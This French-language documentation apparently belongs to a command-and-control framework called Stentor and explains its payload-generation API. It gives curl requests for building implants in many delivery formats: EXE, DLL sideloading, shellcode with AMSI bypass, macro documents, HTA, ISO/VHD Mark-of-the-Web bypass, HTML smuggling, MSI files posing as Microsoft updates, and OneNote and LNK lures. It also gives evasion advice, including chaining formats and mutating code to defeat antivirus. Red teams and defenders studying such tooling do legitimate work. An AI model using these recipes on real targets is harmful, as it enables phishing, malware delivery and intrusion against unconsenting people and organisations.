Formats de payload¶
Stentor génère des payloads dans 17 formats de sortie couvrant tous les principaux scénarios de livraison : des exécutables Windows standard aux conteneurs contournant MOTW et à la contrebande HTML basée sur un navigateur. Chaque format est spécialement conçu pour des besoins opérationnels spécifiques avec des compromis OPSEC distincts.
Aperçu¶
Le pipeline de génération de payload transforme le code source de l'implant Go en binaires déployables via une compilation croisée et un obfuscation facultative sur l'agent Relay.
flowchart LR
A[Operator] -->|POST /api/v1/payloads/generate| B[Backend]
B -->|WebSocket dispatch| C[Relay]
C -->|Go cross-compile<br>+ Garble obfuscation<br>+ Donut shellcode| D[Payload Binary]
D -->|Return binary| B
B -->|Store + respond| A Livraison stageless vs staged¶
Stentor prend en charge deux modèles de pose d'implants :
| Modèle | Taille | Description | Idéal pour |
|---|---|---|---|
| Stageless | ~2 Mo | Implant complet intégré dans le payload | Fiabilité, cibles hors ligne, réseaux isolés |
| Staged | ~50 Ko | Un petit stager récupère l'implant complet depuis l'endpoint de staging | Encombrement initial réduit, mises à jour d'implants plus faciles |
Quand utiliser chacun
Utilisez stageless lorsque vous avez besoin d'une exécution garantie sans dépendances réseau : l'implant entier est autonome. Utilisez staged lorsque la taille initiale du payload est importante (par exemple, pièces jointes de phishing, canaux de téléchargement limités) et que la cible dispose d'une connectivité réseau avec l'endpoint de staging.
Générer des payloads¶
Point de terminaison de l'API¶
POST /api/v1/payloads/generate -- Générez une seule payload via le relais connecté.
Champs de demande¶
| Champ | Type | Obligatoire | Description |
|---|---|---|---|
delivery_type | chaîne | Oui | Format de payload : exe, lnk, docm, xlsm, iso, hta, html_smuggling, msi, vhd, vhdx, xll, onenote, sct |
implant_variant | chaîne | Non | Type d'implant : standalone (par défaut), staged, dll, service, shellcode |
listener_id | chaîne | Non | UUID du listener (préféré à c2_url) |
c2_url | chaîne | Non | URL C2 directe (remplacement si non listener_id) |
architecture | chaîne | Non | Architecture cible : x64 (par défaut), x86 |
sleep | int | Non | Intervalle de rappel du beacon en secondes |
jitter | int | Non | Pourcentage de gigue (0-100) |
filename | chaîne | Non | Nom du fichier de sortie (généré automatiquement si vide) |
obfuscate | bool | Non | Activer l'obfuscation Garble (hachage unique par build) |
profile | chaîne | Non | Nom du profil malléable C2 |
exit_func | chaîne | Non | process (ExitProcess, par défaut) ou thread (ExitThread) |
kill_date | chaîne | Non | Date d'expiration de la RFC3339 (par exemple, 2026-06-01T00:00:00Z) |
host_uri | chaîne | Non | Héberger automatiquement le payload sur cet URI sur le listener |
Génération EXE de base¶
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"architecture": "x64",
"filename": "update.exe"
}'
Génération par lots¶
POST /api/v1/listeners/{id}/generate-all -- Génère toutes les variantes de payload pour un listener sous forme d'archive ZIP.
Produit automatiquement les variantes suivantes :
| Nom du fichier | Variante | Architecture |
|---|---|---|
beacon.exe | autonome | x86 |
beacon64.exe | autonome | x64 |
beacon.dll | dll | x86 |
beacon64.dll | dll | x64 |
beacon-svc.exe | services | x86 |
beacon-svc64.exe | services | x64 |
beacon.bin | shellcode | x86 |
beacon64.bin | shellcode | x64 |
beacon.ps1 | staged | x64 |
curl -s -X POST "https://stentor.app/api/v1/listeners/6ea88162-d558-404a-a19f-4b4cab34b22f/generate-all" \
-H "Authorization: Bearer $TOKEN" \
-o payloads.zip
Filtre d'architecture
Transmettez {"architecture": "x64"} dans le corps de la requête pour générer uniquement des variantes 64 bits.
Régénération¶
POST /api/v1/payloads/{id}/regenerate -- Reconstruisez un payload à partir de sa configuration stockée. Utile pour générer une nouvelle copie avec un nouveau hachage tout en conservant les mêmes paramètres.
curl -s -X POST "https://stentor.app/api/v1/payloads/abc123/regenerate" \
-H "Authorization: Bearer $TOKEN"
Télécharger¶
GET /api/v1/payloads/{id}/download -- Téléchargez un binaire de payload généré. Il s'agit d'un point de terminaison public (aucune authentification requise) afin que les cibles puissent récupérer directement les payloads.
Hébergement automatique¶
Définissez host_uri dans la requête de génération pour diffuser automatiquement le payload sur un chemin URI spécifique sur le listener :
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"filename": "update.exe",
"host_uri": "/updates/kb5034441.exe"
}'
La réponse comprend un champ hosted_url avec l'URL complète où le payload est accessible.
Formats de payload de base¶
Il s’agit des formats de sortie binaires fondamentaux sur lesquels s’appuient tous les autres mécanismes de livraison.
WindowsEXE¶
Exécutable Windows PE standard : le format de payload le plus simple et le plus direct.
| Propriété | Valeur |
|---|---|
| type_delivraison | exe |
| variante_implant | standalone |
| Prolongement | .exe |
| MITRE | -- |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"architecture": "x64"
}'
Considérations OPSEC
- Fichier écrit sur le disque - soumis à une analyse statique et comportementale AV
- Nécessite un contournement de Mark-of-the-Web pour les téléchargements (utilisez un conteneur ISO/VHD ou une contrebande HTML)
- La création de processus génère l'ID d'événement Sysmon 1
- Envisagez l'obscurcissement (
"obfuscate": true) pour un hachage unique par build
DLL Windows¶
Bibliothèque de liens dynamiques pour les scénarios de chargement latéral de DLL. Se charge dans le contexte d’une application légitime, héritant de sa réputation et de sa confiance.
| Propriété | Valeur |
|---|---|
| type_delivraison | exe |
| variante_implant | dll |
| Prolongement | .dll |
| MITRE | T1574.002 (chargement latéral de DLL) |
Options spécifiques aux DLL :
| Options | Type | Par défaut | Description |
|---|---|---|---|
export_name | chaîne | DllMain | Nom de la fonction d'exportation principale |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "dll",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"architecture": "x64"
}'
Considérations OPSEC
- Mieux qu'un EXE autonome lorsqu'il est chargé via une application légitime et signée
- Beacon s'exécute à l'intérieur du processus hôte et se mélange à une activité légitime
- Détection : événement de chargement de DLL (Sysmon Event ID 7), DLL non signée dans le répertoire de l'application
- Identifiez les applications vulnérables au chargement latéral sur la cible avant le déploiement
ServiceEXE¶
Implémente l'interface Windows Service Control Manager (SCM) pour la persistance basée sur les services. Fonctionne en tant que service Windows, survit aux redémarrages et s'exécute en tant que SYSTEM.
| Propriété | Valeur |
|---|---|
| type_delivraison | exe |
| variante_implant | service |
| Prolongement | .exe |
| MITRE | T1543.003 (Créer ou modifier un processus système : service Windows) |
Options spécifiques au service :
| Options | Type | Par défaut | Description |
|---|---|---|---|
service_name | chaîne | StentorSvc | Nom du service SCM interne |
display_name | chaîne | Stentor Update Service | Nom d'affichage lisible par l'homme |
description | chaîne | Provides system update functionality. | Description des prestations |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "service",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"architecture": "x64"
}'
Considérations OPSEC
- Apparaît comme un service Windows légitime dans
services.msc - Fonctionne en tant que SYSTEM -- pas besoin d'élévation de privilèges après l'installation
- Détection : événement de création de service (ID d'événement système 7045), nouveau binaire de service dans le système de fichiers
- Utilisez des valeurs
service_nameetdisplay_nameréalistes qui se fondent dans les services existants
Shellcode brut¶
Code indépendant de la position généré via la conversion Donut. Le format le plus flexible : injectez dans n’importe quel processus sans toucher au disque.
| Propriété | Valeur |
|---|---|
| type_delivraison | exe |
| variante_implant | shellcode |
| Prolongement | .bin (brut), varie selon le format de sortie |
| MITRE | T1620 (Chargement de code réfléchissant) |
Options spécifiques au shellcode :
| Options | Type | Par défaut | Description |
|---|---|---|---|
output_format | chaîne | raw | Format de sortie : raw, c, csharp, python, ruby, java, perl, vba, hex |
architecture | chaîne | x64 | Cible : x64, x86, x84 (les deux) |
compress | bool | false | Activer la compression aPLib |
encrypt | bool | false | Activer le chiffrement symétrique Donut |
bypass_amsi | bool | false | Activer le contournement AMSI dans le chargeur Donut |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "shellcode",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"shellcode_config": {
"output_format": "raw",
"architecture": "x64"
}
}'
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "shellcode",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"shellcode_config": {
"output_format": "csharp",
"architecture": "x64",
"compress": true,
"encrypt": true,
"bypass_amsi": true
}
}'
Considérations OPSEC
- Aucun fichier sur le disque -- plus évasif lorsqu'il est combiné avec l'injection de processus
- Résident en mémoire uniquement, mais soumis à l'analyse de la mémoire et à la télémétrie ETW
- Utilisez les options
compressetencryptpour empêcher l'analyse statique du blob du shellcode bypass_amsiajoute un correctif AMSI au stub du chargeur Donut
Stageur¶
Petit téléchargeur (~ 50 Ko) qui récupère l'implant complet à partir d'un point de terminaison intermédiaire. La livraison en deux phases réduit la taille de le payload initiale.
| Propriété | Valeur |
|---|---|
| type_delivraison | exe |
| variante_implant | staged |
| Prolongement | .exe ou .ps1 |
| MITRE | T1105 (Transfert d'outil d'entrée) |
Options spécifiques au Stager :
| Options | Type | Par défaut | Description |
|---|---|---|---|
auth_token | chaîne | (vide) | Jeton de porteur pour l'authentification du point de terminaison intermédiaire |
pubkey_path | chaîne | /api/v1/c2/pubkey | Chemin du point de terminaison de clé publique RSA |
keyx_path | chaîne | /api/v1/c2/keyx | Chemin du point de terminaison d’échange de clés |
stage_path | chaîne | /api/v1/c2/stage | Chemin du point de terminaison intermédiaire |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "staged",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"architecture": "x64"
}'
Considérations OPSEC
- Encombrement initial plus petit (~ 50 Ko contre ~ 2 Mo) - meilleur pour les canaux à taille limitée
- Le trafic intermédiaire génère des connexions réseau supplémentaires qui peuvent être détectées
- Remplacer les chemins intermédiaires par défaut (
pubkey_path,keyx_path,stage_path) pour OPSEC - Le modèle d'exécution en deux phases est un indicateur de détection connu
- Utilisez
auth_tokenpour empêcher tout accès non autorisé au point de terminaison intermédiaire.
Formats de documents et de macros¶
Mécanismes de livraison traditionnels basés sur des documents. Efficace contre les environnements existants mais de plus en plus bloqué par les politiques Office modernes.
Macro Word (DOCM)¶
Document Word compatible avec les macros contenant du VBA intégré qui exécute le payload à l'ouverture du document.
| Propriété | Valeur |
|---|---|
| type_delivraison | docm |
| Prolongement | .docm |
| MITRE | T1566.001 (Pièce jointe de spearphishing) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "docm",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
}'
Considérations OPSEC
- Les macros sont bloquées par défaut dans Office 2022+ et Microsoft 365 pour les documents provenant d'Internet
- Viable uniquement si l'organisation cible dispose de macros activées via la stratégie de groupe
- Détection : événement d'exécution de macro, processus enfant généré par
WINWORD.EXE - Envisagez le contournement de MOTW (ISO/VHD) pour contourner les politiques de macroblocage
Macro Excel (XLSM)¶
Feuille de calcul Excel prenant en charge les macros avec exécution VBA intégrée. Mêmes capacités et limitations que DOCM.
| Propriété | Valeur |
|---|---|
| type_delivraison | xlsm |
| Prolongement | .xlsm |
| MITRE | T1566.001 (Pièce jointe de spearphishing) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "xlsm",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
}'
Considérations OPSEC
- Mêmes restrictions de blocage de macros que DOCM (Office 2022+ bloque par défaut)
- Détection : événement d'exécution de macro, processus enfant généré par
EXCEL.EXE - Spécifique à Excel : les macros Auto_Open ou Workbook_Open sont des signatures de détection bien connues
ETS¶
Application HTML exécutée via mshta.exe. Prend en charge trois méthodes d'attaque : téléchargement direct d'exécutables, exécution PowerShell ou injection de shellcode VBA.
| Propriété | Valeur |
|---|---|
| type_delivraison | hta |
| Prolongement | .hta |
| MITRE | T1218.005 (Exécution du proxy binaire système : Mshta) |
Options spécifiques à l'ETS :
| Options | Type | Par défaut | Description |
|---|---|---|---|
method | chaîne | executable | Méthode d'attaque : executable, powershell, vba |
script_type | chaîne | vbs | Langage de script : vbs, js |
title | chaîne | Loading... | Titre de la fenêtre HTA |
body_text | chaîne | Please wait while document loads... | Afficher le texte |
body_html | chaîne | (vide) | Corps HTML personnalisé (remplace body_text) |
width | int | 400 | Largeur de la fenêtre en pixels |
height | int | 200 | Hauteur de la fenêtre en pixels |
Télécharge l'EXE depuis C2 et l'exécute via MSXML2.XMLHTTP :
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "hta",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"hta_config": {
"method": "executable",
"title": "Document Viewer",
"body_text": "Loading secure document..."
}
}'
Incorpore la commande PowerShell codée dans HTA VBScript :
Injection de shellcode autonome - aucun téléchargement EXE requis :
Considérations OPSEC
mshta.exeest un LOLBin bien connu - fortement surveillé par EDR- Détection : création de processus
mshta.exe, génération de processus enfants, analyse du contenu du script - La méthode
vbaévite un téléchargement réseau supplémentaire mais utilise PowerShell pour l'injection de shellcode - Envisagez d'utiliser HTA dans un conteneur ISO/VHD pour contourner MOTW
Formats de conteneur (contournement MOTW)¶
Ces formats contournent Mark-of-the-Web (MOTW), empêchant ainsi les invites SmartScreen et les contrôles de sécurité basés sur les zones sur les fichiers extraits du conteneur.
Comment fonctionne le contournement MOTW
Lorsqu'un fichier est téléchargé à partir d'Internet, Windows joint un flux de données alternatif (ADS) Zone.Identifier le marquant comme « provenant d'Internet ». Les fichiers contenus dans des conteneurs ISO/VHD montés n'héritent pas de cette marque, contournant SmartScreen et d'autres protections basées sur MOTW (MITRE T1553.005).
OIN¶
Conteneur d'images de disque optique ISO 9660. Windows monte automatiquement les ISO par double-clic, présentant les fichiers dans l'Explorateur sans restrictions MOTW.
| Propriété | Valeur |
|---|---|
| type_delivraison | iso |
| Prolongement | .iso |
| MITRE | T1553.005 (Subvertir les contrôles de confiance : contourner le marquage du Web) |
Options spécifiques à l'ISO :
| Options | Type | Par défaut | Description |
|---|---|---|---|
volume_label | chaîne | DOCUMENTS | Étiquette de volume ISO (max 32 caractères) |
include_lnk | bool | false | Inclure un raccourci qui lance l'EXE |
lnk_filename | chaîne | Report.lnk | Nom de fichier de raccourci visible |
exe_filename | chaîne | update.exe | Nom de fichier pour l'EXE caché |
decoy_filename | chaîne | (vide) | Nom du document leurre facultatif (par exemple, Report.pdf) |
decoy_data | octets | (vide) | Contenu du document leurre facultatif |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "iso",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"iso_config": {
"volume_label": "Q4_REPORT",
"include_lnk": true,
"lnk_filename": "Q4 Financial Report.lnk",
"exe_filename": "reader.exe",
"decoy_filename": "Q4_Report.pdf"
}
}'
Considérations OPSEC
- Windows monte automatiquement les ISO – aucun logiciel supplémentaire requis sur la cible
- Les fichiers à l'intérieur n'ont pas de MOTW - contournent les invites SmartScreen
- Détection : événement de montage ISO dans les journaux Windows, exécutable lancé à partir du volume monté
- Utilisez
include_lnkavec un nom convaincant pour améliorer le succès de l'ingénierie sociale - Inclure un document leurre pour la crédibilité du prétexte
VHD/VHDX¶
Conteneur de disque dur virtuel. Fonctionnellement similaire à l'ISO pour le contournement MOTW mais utilise le format VHD/VHDX (prise en charge native de Windows 8+).
| Propriété | Valeur |
|---|---|
| type_delivraison | vhd ou vhdx |
| Prolongement | .vhd ou .vhdx |
| MITRE | T1553.005 (Subvertir les contrôles de confiance : contourner le marquage du Web) |
Options spécifiques au VHD :
| Options | Type | Par défaut | Description |
|---|---|---|---|
format | chaîne | vhd | Format du conteneur : vhd ou vhdx |
disk_size_mb | int | 50 | Taille du disque virtuel en Mo |
volume_label | chaîne | DOCUMENTS | Étiquette de volume du système de fichiers FAT (max 11 caractères) |
exe_filename | chaîne | update.exe | Nom de fichier pour l'EXE intégré |
include_lnk | bool | false | Inclure un raccourci qui lance l'EXE |
lnk_filename | chaîne | Report.lnk | Nom de fichier de raccourci visible |
decoy_filename | chaîne | (vide) | Nom du document leurre facultatif |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "vhd",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"vhd_config": {
"format": "vhd",
"disk_size_mb": 50,
"volume_label": "DOCS",
"include_lnk": true,
"lnk_filename": "Open Report.lnk",
"exe_filename": "viewer.exe"
}
}'
Considérations OPSEC
- Contournement MOTW similaire à l'ISO mais moins couramment utilisé - sensibilisation potentiellement inférieure du défenseur
- Le format VHD est plus simple et plus compatible ; VHDX est le nouveau format dynamique
- Détection : événement de montage VHD, journaux d'événements de disque, exécutable lancé à partir du volume monté
- Taille de fichier plus grande que l'ISO en raison de la surcharge de l'image disque - ajustez
disk_size_mben conséquence
Formats de livraison modernes¶
Mécanismes de livraison contemporains ciblant les failles de sécurité actuelles et exploitant les binaires de systèmes fiables.
Contrebande HTML¶
Incorpore un payload codée en Base64 dans un fichier HTML qui reconstruit et déclenche le téléchargement via un blob JavaScript. Contourne les passerelles de messagerie et les proxys Web qui inspectent les téléchargements de fichiers.
| Propriété | Valeur |
|---|---|
| type_delivraison | html_smuggling |
| Prolongement | .html |
| MITRE | T1027.006 (Fichiers obscurcis : contrebande HTML) |
Options de contrebande HTML :
| Options | Type | Par défaut | Description |
|---|---|---|---|
embedded_payload_type | chaîne | exe | Payload intégrée : exe, iso, hta |
title | chaîne | Loading Document... | Titre de la page HTML |
body_text | chaîne | Please wait while your document is being prepared... | Afficher le texte |
download_filename | chaîne | document.exe | Nom du fichier téléchargé |
auto_download | bool | true | Déclencher le téléchargement automatiquement au chargement de la page |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "html_smuggling",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"html_smuggling_config": {
"embedded_payload_type": "iso",
"title": "Secure Document Portal",
"body_text": "Your document is being prepared for download...",
"download_filename": "report.iso",
"auto_download": true
}
}'
Combinez avec ISO pour une évasion maximale
Utilisez "embedded_payload_type": "iso" pour enchaîner la contrebande HTML avec le contournement MOTW. La page HTML fournit une image ISO qui contient le payload, en contournant à la fois l'analyse de la passerelle de messagerie et SmartScreen.
Considérations OPSEC
- Contourne les passerelles de messagerie, les proxys Web et l'inspection des fichiers au niveau du réseau
- La payload est reconstruite côté client à partir de données Base64 – jamais transmise sous forme binaire
- Détection : fichiers HTML volumineux avec JavaScript intégré, événements de création de blob JavaScript
auto_downloaddéclenche le téléchargement immédiatement : désactivez-le pour un flux "Cliquer pour télécharger"
MSI¶
Package Windows Installer exécuté via le binaire système fiable et signé msiexec.exe.
| Propriété | Valeur |
|---|---|
| type_delivraison | msi |
| Prolongement | .msi |
| MITRE | T1218.007 (exécution du proxy binaire système : Msiexec) |
Options spécifiques à MSI :
| Options | Type | Par défaut | Description |
|---|---|---|---|
product_name | chaîne | System Update | Nom du produit MSI |
product_version | chaîne | 1.0.0 | Version du produit MSI |
manufacturer | chaîne | Microsoft Corporation | Fabricant MSI |
description | chaîne | (vide) | Description du produit |
upgrade_code | chaîne | (généré automatiquement) | GUID de mise à niveau MSI |
install_scope | chaîne | perMachine | Portée d'installation : perMachine ou perUser |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "msi",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"msi_config": {
"product_name": "Security Update KB5034441",
"manufacturer": "Microsoft Corporation",
"product_version": "10.0.19045",
"install_scope": "perMachine"
}
}'
Considérations OPSEC
msiexec.exeest un binaire de confiance signé par Microsoft - exécuté via un processus de confiance- La portée
perMachinedéclenche l'invite UAC ;perUsers'installe silencieusement - Détection : création de processus enfant
msiexec.exe, journaux d'événements d'installation MSI (ID d'événement MsiInstaller 1033/1042) - Utilisez des métadonnées de produit réalistes qui correspondent au scénario prétexte
UneNote¶
Package OneNote avec un payload HTA intégrée. Est apparu comme un mécanisme de livraison populaire après que Microsoft ait bloqué les macros par défaut.
| Propriété | Valeur |
|---|---|
| type_delivraison | onenote |
| Prolongement | .onepkg |
| MITRE | T1566.001 (Pièce jointe de spearphishing) |
Options spécifiques à OneNote :
| Options | Type | Par défaut | Description |
|---|---|---|---|
embedded_payload_type | chaîne | hta | Payload intégrée : hta, vbs, cmd |
button_text | chaîne | Double Click to View Document | Texte de superposition d'ingénierie sociale |
title | chaîne | Important Document | Titre de la page OneNote |
body_text | chaîne | This document contains secure content. Double-click the attachment to view. | Texte du corps de la page |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "onenote",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"onenote_config": {
"embedded_payload_type": "hta",
"button_text": "Click to View Invoice",
"title": "Invoice #2024-0847"
}
}'
Considérations OPSEC
- À l'origine efficace après la désactivation de la macro, mais Microsoft a depuis ajouté des restrictions aux fichiers intégrés OneNote.
- Détection : création de processus enfants OneNote, événements d'extraction de fichiers intégrés
- L'utilisateur doit cliquer sur l'objet intégré : le texte superposé à l'ingénierie sociale est essentiel.
ExcelXLL¶
DLL de complément Excel qui s'exécute via l'exportation xlAutoOpen lorsqu'elle est chargée par Excel.
| Propriété | Valeur |
|---|---|
| type_delivraison | xll |
| Prolongement | .xll |
| MITRE | T1137.006 (démarrage de l'application Office : compléments) |
Options spécifiques à XLL :
| Options | Type | Par défaut | Description |
|---|---|---|---|
export_name | chaîne | xlAutoOpen | Fonction d'export (réservé -- xlAutoOpen est toujours utilisé) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "xll",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"architecture": "x64"
}'
Considérations OPSEC
- Les fichiers XLL sont chargés par Excel en tant que compléments, appelant
xlAutoOpenau chargement - Microsoft a bloqué les compléments XLL sur Internet dans Microsoft 365 (2023+)
- Détection : DLL non signée chargée par
EXCEL.EXE, événement de chargement de complément - Plus efficace via la diffusion interne (partage de fichiers, SharePoint) plutôt que par courrier électronique
Script COM (SCT)¶
Scriptlet XML exécuté via le binaire système signé regsvr32.exe. Prend en charge l'exécution à partir d'une URL distante sans écrire sur le disque.
| Propriété | Valeur |
|---|---|
| type_delivraison | sct |
| Prolongement | .sct |
| MITRE | T1218.010 (exécution du proxy binaire système : Regsvr32) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "sct",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
}'
Exécuter sur cible via :
Considérations OPSEC
regsvr32.exeest un binaire Windows signé et fiable : l'exécution du proxy contourne la liste blanche des applications.- Peut s'exécuter directement à partir d'une URL - aucun fichier sur le disque n'est requis
- Détection :
regsvr32.exeavec le paramètre/i:URL, événement de chargementscrobj.dll - Technique bien connue : la plupart des solutions EDR détectent l'exécution du scriptlet
regsvr32
LNK¶
Fichier de raccourci Windows intégrant un support de téléchargement PowerShell. Double-cliquez sur l'exécution avec une icône personnalisable.
| Propriété | Valeur |
|---|---|
| type_delivraison | lnk |
| Prolongement | .lnk |
| MITRE | T1204.002 (Exécution utilisateur : fichier malveillant) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "lnk",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
"filename": "Q4 Report.lnk"
}'
Considérations OPSEC
- Exécution en double-clic – s'appuie sur l'ingénierie sociale pour l'interaction de l'utilisateur
- Contient une commande PowerShell intégrée visible via l'analyse médico-légale LNK
- Détection : analyse de fichiers LNK, exécution PowerShell à partir d'un raccourci, création de processus enfants
- Meilleure livraison dans des conteneurs ISO/VHD pour contourner MOTW
Guide de sélection des formats¶
| Scénario | Format recommandé | Pourquoi |
|---|---|---|
| Accès initial via e-mail de phishing | Contrebande HTML + ISO | Contourne l'analyse de la passerelle de messagerie + MOTW |
| Dépôt USB/accès physique | EXE en ISO ou VHD | Contournement MOTW, montage automatique sur double-clic |
| Chargement latéral de DLL (application cible connue) | DLL | Charges dans le contexte d'un processus de confiance |
| Persistance des services | ServiceEXE | Survit aux redémarrages, fonctionne en tant que SYSTEM |
| En mémoire uniquement (aucun fichier sur le disque) | Shellcode | Injecter dans le processus existant via BOF/injection |
| Livraison en deux étapes (faible encombrement) | Stageur | ~ 50 Ko de payload initiale, récupère l'implant complet |
| Exécution d'un programme d'installation fiable | MSI | Fonctionne via msiexec.exe signé |
| Exécution LOLBin (regsvr32) | SCT | Binaire signé, prend en charge l'exécution d'URL |
| Livraison de macros héritées | DOCM/XLSM | Viable uniquement si les macros sont activées sur la cible |
| Livraison du complément Excel | XLL | Charges via xlAutoOpen dans le processus Excel |
| Phishing post-macro-désactivation | UneNote | Payload HTA intégrée dans .onepkg |
| Livraison basée sur des raccourcis | LNK dans l'ISO | Ingénierie sociale avec contournement de MOTW |
Formats de chaîne pour une évasion en couches
Combinez les formats de livraison pour contourner la défense en profondeur. Par exemple : HTML Smuggling (contourne la passerelle de messagerie) fournit un ISO (contourne MOTW/SmartScreen) contenant un EXE ou un LNK (exécution réelle). Chaque couche va à l'encontre d'un contrôle de sécurité différent.
Options communes¶
Ces options s'appliquent à tous ou à la plupart des formats de payload.
Architecture¶
Architecture cible : x64 (par défaut) ou x86. La plupart des environnements Windows modernes sont en 64 bits : utilisez x86 uniquement lorsque vous ciblez des processus 32 bits ou des systèmes existants.
Obscurcissement¶
Active l'obscurcissement Garble pendant la compilation. Chaque build produit un hachage binaire unique, annulant la détection basée sur les signatures. Augmente le temps de construction d'environ 30 à 60 secondes.
Fonction de sortie¶
Contrôle la façon dont le beacon se termine : process (par défaut) appelle ExitProcess -- termine l'ensemble du processus hôte. thread appelle ExitThread -- termine uniquement le thread de beacon, laissant le processus hôte en cours d'exécution. Utilisez thread lorsqu'il est injecté dans un processus légitime que vous souhaitez maintenir en vie.
Date de mise à mort¶
Date d'expiration de la RFC3339. Après cette date, le payload s'arrête automatiquement au démarrage et les beacons en cours d'exécution se terminent lors de leur prochain cycle d'interrogation. Utilisez des dates de mise à mort pour limiter les fenêtres d'exposition pendant les engagements limités dans le temps.
Profil malléable¶
Nom de profil C2 malléable pour la personnalisation du trafic. Les profils contrôlent les transformations de requête/réponse HTTP, les en-têtes, les URI et d’autres indicateurs réseau. Voir Profils malléables pour plus de détails.
Sleep et jitter¶
Intervalle de rappel du beacon en secondes et pourcentage de gigue (0-100). Des valeurs de sommeil plus élevées réduisent le bruit du réseau ; la gigue ajoute du caractère aléatoire au timing de rappel pour éviter la détection de modèles périodiques.
Hébergement automatique¶
Diffusez automatiquement le payload générée sur le chemin URI spécifié sur le listener. La réponse inclut le hosted_url complet. L'URI doit commencer par / et ne peut pas utiliser les préfixes /api/ ou /c2/.
Mutation de code¶
Activez la mutation de code par build pour rendre chaque payload générée unique au niveau binaire. Le moteur de mutation applique 4 techniques au moment de la compilation :
| Technique | Description |
|---|---|
| Insertion de code indésirable | Ajoute des séquences d'appels d'API Win32 réalistes (pool de 12 API) qui s'exécutent mais n'ont aucun impact fonctionnel |
| Prédicats opaques | Insère des branches conditionnelles avec des résultats mathématiquement prédéterminés (7 générateurs de prédicats) |
| Transformations du flux de contrôle | Restructure les blocs de base et les modèles de boucles pour modifier la signature CFG |
| Mutation constante | Remplace les constantes entières/chaînes par des expressions calculées équivalentes |
Le code de mutation généré est placé dans package beacon avec init() + runtime.KeepAlive pour empêcher l'élimination du code mort. Chaque version produit un binaire avec différents modèles de code, annulant ainsi la détection AV basée sur les signatures.
La mutation de code est appliquée aux 5 types de payload à compilation directe (EXE, DLL, Service DLL, XLL, Shellcode). Les stagers sont exclus (ils importent internal/stager, pas internal/beacon).
Suivi des artefacts
Lorsque la mutation de code est activée, la build enregistre un artefact « Code Mutation » pour le suivi. Voir Intégration MITRE ATT&CK pour plus de détails sur le suivi des artefacts.
Garde-corps OPSEC¶
